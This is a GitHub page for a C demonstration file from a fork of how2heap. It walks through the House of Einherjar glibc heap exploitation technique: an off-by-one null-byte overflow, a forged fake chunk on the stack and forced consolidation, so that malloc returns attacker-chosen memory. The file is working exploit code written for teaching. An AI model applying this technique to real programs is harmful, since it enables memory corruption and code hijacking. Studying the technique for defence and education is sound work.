forked from v1ckydxp/how2heap
-
Notifications
You must be signed in to change notification settings - Fork 0
/
house_of_einherjar.c
107 lines (88 loc) · 5.17 KB
/
house_of_einherjar.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int main()
{
fprintf(stderr, "Welcome to House of Einherjar!\n");
fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* d;
fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk
fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
fprintf(stderr, "b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a
fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
}